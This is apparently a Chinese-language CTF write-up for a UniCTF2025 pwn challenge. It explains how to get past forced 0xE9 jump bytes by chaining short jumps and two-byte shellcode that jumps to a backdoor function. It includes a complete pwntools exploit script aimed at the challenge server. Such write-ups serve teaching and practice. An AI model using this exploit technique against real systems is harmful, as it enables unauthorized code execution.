什么?我不是汇编高手吗?

什么?我不是汇编高手吗? (1).png

main函数:

什么?我不是汇编高手吗? (2).png

题目有后门函数,这里mmap给了一个可读可写的空间,进入循环后有一个读取循环,读取4个字节,这里是从n3加1开始写入,也就是addr_1[0]的位置没有写入,我们写入的是addr_1[1]、addr_1[2]、addr_1[3]、addr_1[4],然后n4等于4代表我们写入了4个字节,把addr_1[0]的位置写入-23即0xE9,也就是jmp rel32,然后addr_1向后移5字节,然后就是从addr_1[5]开始操作了,当n10=-1(即读到文件末尾)以及n10=10(即读到\n),我们这个读取循环结束。

然后把这片区域变为可读可执行,并从这篇区域的开头开始执行。

这题的实际操作就是每次操作5个字节区,其中后面四个是我们可以自由输入的,但是前面一个每次会自动给我们加上一个0xE9

即:

0xE9 0xXX 0xXX 0xXX 0xXX

0xE9 0xXX 0xXX 0xXX 0xXX

0xE9 0xXX 0xXX 0xXX 0xXX......

0xE9的意思就是jmp,它会看后面四个字节区表示的数字是多少,然后jmp过去,那我们想避免这个jmp就可以用一个方法,那就是跳过最开始的一个字节,例如,我们第一个写入的四字节为p32(1),由于小端序,实际上是

0xE9 0x01 0x00 0x00 0x00

0xE9 0x01 0x02 0x03 0x04(此行仅为举例)

这时候它就会执行jmp +1(这个不是汇编指令,仅供理解实际行为),就会

读取指令:CPU 从 0x7000(假设这个指令位置开头在0x7000) 开始,一口气读完了 E9 01 00 00 00 这 5 个字节。

指针更新: 因为读了 5 个字节,指令指针 (RIP) 自动更新到了这条指令的末尾,也就是下一条指令的开头:0x7000 + 5 = 0x7005

计算落点: CPU 提取出偏移量 1,开始计算:实际目标地址 = 0x7005 + 1 = 0x7006

执行跳转: CPU 将 RIP 设置为 0x7006,直接飞过去继续执行。

就会开始执行第二行的0x01,也就跳过了第二行的0xE9,那我们想要每次都跳过该怎么办呢,我们可以用jmp的短跳转,只占用两字节,就是0xEB 0x01

0xEB和0xE9几乎一模一样,只是它只从后面一个字节区读取数字,那现在我们的布局就是

0xE9 0x01 0x00 0x00 0x00

0xE9 0xXX 0xXX 0xEB 0x01

0xE9 0xXX 0xXX 0xEB 0x01......

0xXX是我们可以自由填充的指令

既然这篇区域可以执行,那我们需要把我们的shellcode切片好,每次两字节,我们确定完整的shellcode的汇编,要确保每个汇编指令的长度在两字节以内

题目有后门,且no pie,那我直接跳到后门函数就行了,后门函数地址为0x4011f6,为了保证在两字节内,我们要把地址切成三个一字节然后利用左移写入,0x40,0x11,0xf6

汇编代码 机器码
xor ecx, ecx 31 C9
mov cl, 8 B1 08
xor eax, eax 31 C0
mov al, 0x40 B0 40
shl eax, cl D3 E0
mov al, 0x11 B0 11
shl eax, cl D3 E0
mov al, 0xF6 B0 F6
push rax 50
ret C3

我们选择eax作为存我们地址的寄存器,ecx放我们的左移的步长(为什么要这样我们后面会说),所以我们先用xor来清空这两个寄存器

由于我们只有两字节的空间,我们肯定不能用eax和ecx操作的,它们要的操作数要占用四字节,我们只能用它们的最低八位寄存器,分别是al和cl

我们每次要左移一字节,也就是要左移八位,那我们就是用shl eax, 0x8,但是这个的机器码是C1 E0 08

这是因为当你在汇编里硬编码一个数字(也就是“立即数”)时,这个数字是需要占用物理存储空间的。 在 x86/x64 架构下,shl eax, imm8(带有 8 位立即数的移位)的机器码构造是:

操作码:C1

寄存器标识:E0 (代表 eax)

立即数本身:08

但是rcx作为为专门负责循环计数和移位步长的寄存器,在 x86 指令集里,shl 指令有一个专门针对 cl 寄存器的特殊重载版本。当你告诉 CPU“去 cl 寄存器里找移位的步长”时,指令里就不需要再携带那个占据空间的立即数了,那我们只要先把步长存入cl,用 shl eax, cl,就能控制在两字节内了,我们就通过每次向al写入一字节(即向rax的低八位写入),然后左移eax,循环,直到把我们的地址完全写入,然后再push到栈顶,然后ret跳转过去就行了

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = 'nc1.ctfplus.cn 44946'

file_name = './汇编高手'

elf = ELF(file_name)
context.binary = elf

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
    gdb_cmd += "c\n"

if switch:
   parts = target.replace(':', ' ').split()
   host = parts[-2]
   port   = int(parts[-1])
   p = remote(host, port)
elif gdb_:
   p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
   p = process(file_name)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl():                return p.recvline()
def ra(t=None):          return p.recvall(timeout=t)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def addr(off):           return lg(hex(off), (ret := elf.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address):         return (address).to_bytes(3, 'big')
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def ga(delim=b'|', name='Leak'):      return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def base(val, binary=elf):            return binary.address + val  
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next(elf.search(s if isinstance(s, bytes) else s.encode())))) or addr

_rop_cache = {}
def gg(s):
   target = elf
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   if (gadget := rop.find_gadget(instrs)):
       lg(s, gadget.address)
       return gadget.address
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

#################################################################################
bcd = 0x4011f6

def add_block(asm_code):
    machine_code = asm(asm_code)
    machine_code = machine_code.ljust(2, b'\x90')
    return machine_code + b'\xEB\x01'

blist = bcd.to_bytes(3, 'big')
payload = flat([
    p32(1),
    add_block("xor ecx, ecx"),
    add_block("mov cl, 8"),
    add_block("xor eax, eax"),
    add_block(f"mov al, {blist[0]}"),
    add_block("shl eax, cl"),
    add_block(f"mov al, {blist[1]}"),
    add_block("shl eax, cl"),
    add_block(f"mov al, {blist[2]}"),
    add_block("push rax"),
    asm("ret").ljust(4, b'\x90')
])

sl(payload)
it()

题目链接:

CTF-Writeups/UniCTF2025/什么?我不是汇编高手吗? at main · Zenquiem/CTF-Writeups


什么?我不是汇编高手吗?
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-lS6cNJn6
作者
ZenDuk
发布于
2026年03月15日
许可协议